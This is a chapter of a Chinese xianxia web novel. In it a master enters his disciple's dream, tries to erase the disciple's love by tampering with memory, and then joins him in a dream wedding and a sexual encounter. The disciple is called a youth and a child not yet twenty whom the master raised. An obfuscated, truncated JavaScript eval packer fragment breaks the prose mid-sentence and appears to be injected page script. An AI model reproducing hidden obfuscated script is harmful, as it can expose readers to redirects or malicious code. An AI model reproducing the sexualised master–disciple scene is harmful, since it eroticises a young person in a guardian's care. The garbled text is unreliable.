兰泊风:“我心里这样想过,却是希望你见过外面山川大河,经历过七情离苦,喜怒哀乐之后,再回来守护宗门,不是让你困守这里。” 喻连平静说:“起码这样,我除了等他回来之外,又多了个念头。” 兰泊风瞳孔微微一缩,心头莫名发紧。 喻连一笑:“师伯,答应我吧。” 他说了要等他,就决不食言。 15.第 15 章 宗主继任大殿庄严肃穆,那沉沉的宗主服压在他身上,守护宗门的重担就落在了他的肩膀上。 继任大典之后,喻连就去了孤渺峰。 火老大在掉眼泪:“小崽,我感觉到你很难过,难过为什么不哭?” 喻连进入谢久白在峰顶的竹屋,指腹一一抚摸过这里,“我继任宗主,九州皆知,他定然也知晓,为何不来?为何……不来。” 咔嚓。 他掌心下的椅子发出不堪重负的爆裂声。 许久,他转身出去,疲倦地坐在门口,双手圈住自己的膝盖。 喻连:“老大,你说师父是不是知道了我的心思,才故意躲开,故意不来。” 火老大:“什么心思?小崽,你想要什么?” 他想要什么? 他想要和师父结为道侣,想要和师父携手一生,想……想很多很多,他知道这是妄念。 但是师父说他有喜欢的人,他就连妄念都不能有。 以弟子的身份陪伴在师父身边,其实也很好,可如今陪伴似乎也变成了不可能。 他想要的,此生都得不到。 喻连慢慢将头埋进膝盖里,双肩耸动,湿润难过的眼泪浸没入象征着责任的宗主服里,一点哽咽从喉间溢出。 就算知道了他的心思,告诉他就好了,他知道师父有喜欢的人,就绝不会纠缠不休。 不肯给他求爱的机会,那也还有师徒之情。 何至于狠心至此,百年时光,一面也不让他见到。 孤渺峰的山顶除了哽咽,只有风吹过的孤寂,渐渐地,哽咽声也没有了。喻连侧靠在门框边,喜欢、委屈、被丢开的难过和深重的思念纠缠出另一种更加深刻的情绪。 求不得。 他第一次尝到这种情绪的酸和涩。 他喃喃道:“老大,我是不是变坏了,我有点恨他。” “不坏,一点也不坏,”火老大从他掉眼泪那一刻开始,就也憋不住了,抽噎着,伸手给喻连擦眼泪,“你恨谁,我便也跟着恨谁。” 它依偎在喻连脖颈处,源源不断地散发着暖意,等到化形时间到了才被迫回到喻连体内沉睡。 喻连盯着远处发呆,潮湿的眼睫缓慢阖上。 当时的道别太仓促。 他只是很想再见师父一面。 一面就好。 一截素色衣摆出现在门前。 谢久白蹲下来,凝望着睡着了的喻连,眉心折痕越来越深。 伸去擦眼泪的指腹在半空停顿片刻,才轻轻的落在少年的面颊上,拭去泪痕。 指腹泪痕犹在,他重新捏起法诀手势。 篡改记忆会引起反抗,用别的手段帮助他忘记,大概可以。 如果梦境之中可以成功,那等到回到现实,他就可以采用手段抹消喻连对他的喜欢。 谢久白低声道:“阿连,你喜欢谁都可以,唯独不能喜欢我。” 他修为高出喻连太多,来时无声,去时也无声,喻连似有所感睁开眼的时候,望着峰顶远处的群山,心里空落落的思念依旧没有落地。 他孤独地上山,孤独地离去。 那天之后。 喻连将孤渺峰设为了仙宗禁地。 他自己只是时不时上去护养竹屋器具,偶尔在上面住一段时间。 但后来,他想不起来自己为什么非要住在那里了,就搬到了主峰的后山,另建了个小屋,每日处理宗务、教养弟子。 与此同时,他不再打坐修炼。 练气、筑基、元丹、寻道、合体、问劫、半步仙。 元丹之境五百年寿命,喻连修为停滞在半步寻道,再也没有主动精进过。 他很抗拒漫长寿命带来的孤独感,为此学了很多打发时间的技艺,还试图教会火老大下棋。 兰泊风回来过一次,见他修为止步不前,以为他遇到问题了,很是担忧:“跟师伯说说,可是缺了丹药灵草?师伯给你寻来。” 喻连坐在树下茶桌旁,拢着雪白裘衣,手边一杯温热的茶,朝兰泊风笑笑:“没有,只是觉得很没意思。” 兰泊风沉默:“阿连,你下山走一走吧。” 喻连摇头:“不去。” 兰泊风:“仙宗虽大,但不及九州精彩,虽为仙宗宗主,也不必时刻守在这里。你迟迟不能精进,该去凡尘走一走,才能寻到自己的道。” 喻连:“我守在这里不全然为了仙宗,我是为了等——” 他按着额角,蹙眉道:“等……” 等什么呢。 他记不起来了。 最终,他也只是倦倦搁下茶杯,“师伯,我累了。” 搁下茶杯的那一刻,三百多年时光在梦境中压缩成几息的浮光掠影。 三百多年,喻连依旧从没有下山,连飞仙镇都没有再去过,他的寿命走到了尽头,坐化之前,他将宗主之位传了下去。 那是个沉稳的年轻人,发色与常人不太一样,是天生的浅白色,喻连很喜欢召见他,常常看着他发呆。 宗主继任仪式之后,他又将年轻人召了过来。 年轻人很尊敬他,垂首拱立:“师祖。”哪怕喻连的修为已经比他低了许多。 喻连模样依旧年轻,只是周身的暮气和死寂挥之不去,压了他三分颜色。 不过即便如此,每年也都有新弟子悄悄给他们宗主送花,说他们宗主笑的时候好看,不笑的时候更吸引人。 “陪我走走吧。” “是。” 年轻人安静地跟在喻连身后。 青石台阶、竹林水涧、繁华草地。 喻连漫无目的地往前走,走到了一处冷气缭绕的山脚,他抬头,有点疑惑:“这里是?” 年轻人道:“这是孤渺峰。” 喻连:“哦。我在主峰的时候,好像常常看这座山峰,却没来过这里。” 年轻人:“您将此地设为了禁地,旁的弟子也没来过。” 喻连:“我上去看看。” 他掌心一翻,一团温和的火焰浮起,火焰中蜷缩着沉睡的火灵,喻连目光不舍,留恋地摸了摸火灵头顶的火苗:“它叫火老大,是我的伴生之火,我寿命将尽,它不该同我一起消散。它很喜欢热闹,却孤单地陪了我一生,往后你需好好待它。” “师祖!” “不必跟来。” 喻连安排好火老大的归宿,抬手一挥,山间雪色覆盖的青色石阶蜿蜒出现,他顿了顿,一步步走了上去。 走到半山腰的时候,他看见了一处被雪花压到了的竹屋废墟,和干涸的莲池。 冻死的植物不知凡几,新长的松翠掩住了过往时光中的葳蕤。 他微微出神后,继续往山上走。 走了一半,临近峰顶的时候,又开始下雪。 细细的小雪落在肩头,发梢,眼睫。喻连没有用灵力驱散,像个普通凡人一样走到了峰顶。 峰顶也有一处小院,似乎是因为曾经居住过的人灵力高深,这处小屋没有如同半山腰的小屋一样变成废墟,勉强保持了之前的模样。 喻连拂过小院中的一处处,冰凉清润的雪将他的指尖冻得泛红。 他走到竹屋门前,慢慢坐下,头靠在门框上。 寿命将绝,意识朦胧间,他察觉到有人坐到了他的身边,问他:“已经忘记了,为什么还是会来到这里。” 喻连闻到了一点很熟悉的气息,但他想不起来在哪里闻过,也已经没有力气睁开眼睛了,他声音很低,回答:“我…不知道……” 来人问:“你知道你忘了谁?” 喻连却是笑了下,依旧道:“我好像在等,等一个人,可我忘记我要等谁了…不过…我猜…我忘记的人…要等的人…是你……对么……” 平日里平淡至极的银灰色双眸,此时复杂无比。 修改记忆不行,令他遗忘也不行。温和的手段没效果,狠厉的手段用不得。 谢久白活了快九百年,第一次在一个不满二十的小孩身上,感受到了束手无策的滋味。 喻连:“你能…抱抱我么……” 依旧没有人回答他。 喻连没有再说别的,气息将尽之时,一句低喃伴着一滴眼泪,一齐落下。 他忘记了身边人,却不知为何,在死亡前无意识念了一句:“师父。”那被主人遗忘了几百年的思念,随着这一声,全然道尽了。 谢久白眼睫颤了一瞬,喉结微滚。 他慢慢伸出手,将浑身冰冷的弟子扣在怀里,下颌轻轻压在喻连发顶。 “阿连。” 可他抱得太晚了,怀里的人没有感觉到。 …… 梦境再度扭曲。 这次回到的不是九州台大比前,而是大比之后。 梦境重新凝实之前,谢久白清晰看见了梦境即将碎裂的缝隙,这代表着梦境主人已经坚持不了太久。 若是这次再失败,执念未能圆满,恐怕喻连就会再也醒不过来。 跪坐在小案前的喻连闭着眼,紧张道:“我喜欢你,师父。是想和你琴瑟和鸣,鹣鲽情深的那种喜欢,是男女之爱,是情欲之思,是大逆不道,是违逆人伦的那种喜欢。” “我十五岁懵懂时就喜欢你……” “我知道,想让师父喜欢上我,跟痴人说梦无异,所以我的请求便是,请师父不要逐我出宗,给我一个机会,将我当成喜欢你的人来看,好吗?” 谢久白眼前闪过喻连闭目吐血昏厥,闪过四百年匆匆岁月,他寿绝孤渺峰的模样。 他闭了闭眼,咽下所有哽堵在喉中的不知名情绪,走到喻连面前,依旧抚摸了一下他的发顶,说的却是: “好。” 他妥协了。 - 红绸挂满了孤渺峰。 喻连活得年岁太少,没见过正经道侣成婚时的盛大场面,但他见过凡人成婚。 所以梦里的婚仪也是懵懵懂懂地仿照的凡间。 仿得还不像,比如凡人成婚的时候,不会在屋内放花圈,纵然花圈再花里胡哨地热闹,也是花圈。 火老大阴沉着脸,在放满了桂圆花生红枣的床上滚来滚去,“小崽,你又不生孩子,怎么非要我滚床!我不想给他滚床。” 喻连也不知道,左右不过是图个好寓意。 他从窗户探出头去:“师父!外面布置好了吗?” 谢久白提着红灯笼,将它挂在高处,“快好了。” 自他应下喻连后,梦境就变成了这样。 看来他们二人成婚,就是喻连梦境执念圆满的结局了。 喻连趴在窗户边缘,“师父,成婚只有我们两个和火老大,你会不会不开心。” 谢久白:“不会。” 喻连:“我怕外面的人骂你。” 师徒生情,不管如何,师父都要承担责任,往往是被唾弃辱骂的那个。 连梦境中都这般小心翼翼,看来意识深处很明白,这种行为很不妥当,谢久白没有顺着他的话说:“你打算何时开始?” 喻连:“自然是晚上。” 他笑吟吟地伸出手。 谢久白顿了下,走到窗前。 喻连探出半个身子,鼻尖几乎贴到了谢久白脸颊上,温热的呼吸扑面而来,仅仅一秒,他就不太好意思地往后退开,眼神游移,耳根泛红。 片刻后,他认真询问道:“师父,我没有喜欢过别人,我们应该什么时候应该亲吻,什么时候应该拥抱?现在……可以吗?” 谢久白:“不可以。” 喻连:“好吧。” 他失望了一刹,转而嘀嘀咕咕道:“反正等会儿肯定可以。” 天色转为暗淡,从半山腰到峰顶,青石台阶的两侧都挂满了红灯笼。 “师父,进来,帮我换喜服!” 谢久白推门进入。 不由得怔了一瞬。 竹屋内,少年露出半个光洁赤/裸的后背,浅浅的一层背肌轮廓流畅往下,烛火在他身上,像是流淌着的香甜暖蜜。 他臂弯里披着红色喜服,一头黑发散开拢到了身前,逶迤蜿蜒的墨发和喜服纠缠交叠。 喻连回头看他,求助道:“师父,我不会穿。” “……过来一点。”谢久白回过神,道。 喻连获救般松了一大口气,拖着层层叠叠的喜服站到他跟前,习以为常地展开双臂,对他抱怨道:“真是难穿,比弟子服还要多两层,完全搞不懂该怎么系。” 谢久白也是第一次见喜服,也不知是不是他徒弟平素穿衣就没章法,所以梦里幻化的喜服也乱七八糟的好几层,很难判断。 他垂首研究片刻,像小时候一样,一层层给抱怨不休的弟子穿上了。 桌子上的铜镜映着他二人的影子,一高一低,一大一小交叠在一起,倒真的像一对恩爱道侣婚前的模样。 喜服红绸,烛光炫目。 他的弟子满心喜悦的要嫁给他。 谢久白感到一种莫大的荒诞。 他给喻连系上最后的腰带,手指久久停在弟子细韧的腰侧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周遭场景一变,他们瞬间置身在提前布置好的新房中,红烛垂泪,暖纱轻扬,厚厚铺盖下是枣生桂子。 喻连扯了扯谢久白的袖子,期待道:“师父,现在我们是不是可以亲吻,可以拥抱了?” 谢久白掌心贴到喻连的面颊上,摩挲片刻,“嗯。但是得我来。” 喻连对那种事的印象只停留在那一本不慎被他看见的下流话本中,实则话本里的动作画的并不细腻,朦胧无比,加上喻连经验为零,着实懵懵懂懂。 听见谢久白将此事接了过去,他松了口气似的,双手勾住谢久白的脖颈:“好。师父教我。” 谢久白将他横抱而起,把他放在喜被上,喜被足够厚,下面的枣生桂子并不硌得慌。 他没有解开他亲手给喻连穿上的一层层喜服,仿佛解开了之后,那不能触碰的禁忌也会随之解开。 衣衫未褪,但他一只手探进了那层叠的喜服里。 喻连皮肤很白,被轻碰一下之后,几乎是瞬间就从脖子红到了头顶,他的神色一下子就不一样了。 烛光映照在这四四方方的喜房红帐中,好似所有的艳光都倾泻在了他身上。 他觉得很怪却不敢动,又酥又痒,身体有些不受控制。小时候没有修为,无法自洁自净,他心疾发作的时候不能起身,师父就会拿出溺器让他排尿。 但自从他修为小成后,就再也没有过那种经历。 可是现在,那种似而非是的怪异感,真的和小时候排尿的感觉有点像。 好奇怪。好奇怪。 喻连喉结滚动,勾住谢久白脖颈的手不由得用力:“师父,你的手在干嘛……” “别叫我师父。”谢久白眸色暗了下去。 喻连脸上逐渐浮起红晕,双腿不由自主地生涩夹起,磨蹭蹬动。 那双平日里就很清澈水润的眼睛,如今泛起零星的水色,偏还强自镇定着,像请教修炼难题般请教他,“师父,我……这是怎么了?” 谢久白知道他不是很懂,也没多解释:“很快就好了。阿连,腿放松点,不要夹我的胳膊。” “哦,好。”喻连汗都出来了,但他觉得他从小就是天才,不懂这种感觉没关系,以后肯定就会了。 他分-开-腿,努力控制自己想拱起的腰,支起上半身,“呃……我可以,亲你一下吗?” 他压抑着呼吸,微微仰头,想去吻谢久白的唇。 谢久白侧头避开。 喻连无措道:“师父……不可以亲吗。” 他更紧张了。 过了约莫三息,“说过了,别叫我师父。” 谢久白注视他片刻,垂眸俯身,冰凉的唇瓣在少年滚烫面颊上轻轻一触。 而喻连也相当没出息,触碰面颊的一个吻而已,他瞳孔微微放大,显然受了不小的刺激,腰像鱼儿翻身一样弓了下。 一缕微烫的湿润留在了谢久白掌心。 谢久白呼吸微窒。 直到这一刻,谢久白才意识终于有了落地的实感,他一手养大的孩子满面绯红,声音在懵懂情-欲的熏染之下变得微哑满足。 “师父,再亲亲我……” “师父,我真的很喜欢你。” 琉璃碎裂的声音响起。 整个梦境在圆满中悄然破碎。 - 仙宗。 孤渺峰。 谢久白本体闭关之处。 轰—— 磅礴的气浪朝着四周席卷,整个峰顶瞬间冰封,飞扬的雪沫冰冷摄人。 谢久白缓慢睁开眼。 他望向自己的右手,掌心处黏腻温热的触感从分魂处传来。 四处飘散的冰冷雪花伴随着情欲的滋味,一同在他指尖融化。 他收拢五指,面无表情地出关,带着霜寒的气息瞬移到了半山腰喻连的住处。 抬手一挥! 被主人珍藏起来的木匣便落在了小案上。 谢久白隔空一抓,找到了梦境中的那方手帕,打开之后,一黑一白两缕纠缠在一起的发丝合在一处。 梦境中的喻连说,这是他出发去孜云州之前藏起来的。 谢久白无声阖眼,攥着手帕的指节泛白。 他的徒儿喜欢他。 ……竟是真的。